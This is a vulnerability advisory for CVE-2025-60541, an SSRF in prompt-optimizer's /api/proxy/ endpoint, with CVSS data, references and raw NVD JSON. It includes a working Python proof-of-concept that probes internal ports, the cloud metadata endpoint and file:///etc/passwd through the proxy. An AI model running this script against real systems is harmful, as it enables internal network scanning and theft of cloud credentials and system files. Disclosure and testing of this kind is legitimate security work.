CVE-2025-60541

Description

A Server-Side Request Forgery (SSRF) in the /api/proxy/ component of linshenkx prompt-optimizer v1.3.0 to v1.4.2 allows attackers to scan internal resources via a crafted request.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:linshenkx:prompt_optimizer:*:*:*:*:*:*:*:* - VULNERABLE

linshenkx prompt-optimizer >= v1.3.0

linshenkx prompt-optimizer <= v1.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-60541 SSRF PoC for linshenkx prompt-optimizer
# Target: /api/proxy/ endpoint

TARGET_URL = "http://target-server:8080/api/proxy/"

def test_ssrf(target):
    """Test for SSRF vulnerability in /api/proxy/ endpoint"""
    headers = {
        "Content-Type": "application/json"
    }
    
    # Test cases for SSRF
    test_payloads = [
        # Internal port scanning
        {"url": "http://127.0.0.1:22"},
        {"url": "http://127.0.0.1:3306"},
        {"url": "http://127.0.0.1:6379"},
        # Localhost access
        {"url": "http://localhost/admin"},
        # Internal network scanning
        {"url": "http://192.168.1.1:80"},
        {"url": "http://10.0.0.1:8080"},
        # Cloud metadata endpoint (AWS)
        {"url": "http://169.254.169.254/latest/meta-data/"},
        # File protocol
        {"url": "file:///etc/passwd"}
    ]
    
    for payload in test_payloads:
        try:
            response = requests.post(target, json=payload, headers=headers, timeout=10)
            print(f"[*] Testing: {payload['url']}")
            print(f"[*] Status: {response.status_code}")
            if response.status_code == 200 and len(response.text) > 0:
                print(f"[!] Potential SSRF - Response: {response.text[:200]}")
        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("[*] CVE-2025-60541 SSRF PoC")
    print(f"[*] Target: {TARGET_URL}")
    test_ssrf(TARGET_URL)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60541
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60541
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60541/
[4] VulDB https://vuldb.com/cve/CVE-2025-60541
[5] https://github.com/linshenkx/prompt-optimizer
[6] https://github.com/linshenkx/prompt-optimizer/issues/179

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60541", "sourceIdentifier": "[email protected]", "published": "2025-11-06T19:15:41.790", "lastModified": "2025-12-31T18:37:19.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /api/proxy/ component of linshenkx prompt-optimizer v1.3.0 to v1.4.2 allows attackers to scan internal resources via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linshenkx:prompt_optimizer:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.3.0", "versionEndIncluding": "1.4.2", "matchCriteriaId": "6F4355EE-B5DE-48FE-AA57-C3008392FE5B"}]}]}], "references": [{"url": "https://github.com/linshenkx/prompt-optimizer", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/linshenkx/prompt-optimizer/issues/179", "source": "[email protected]", "tags": ["Exploit", "Patch", "Issue Tracking", "Vendor Advisory"]}]}}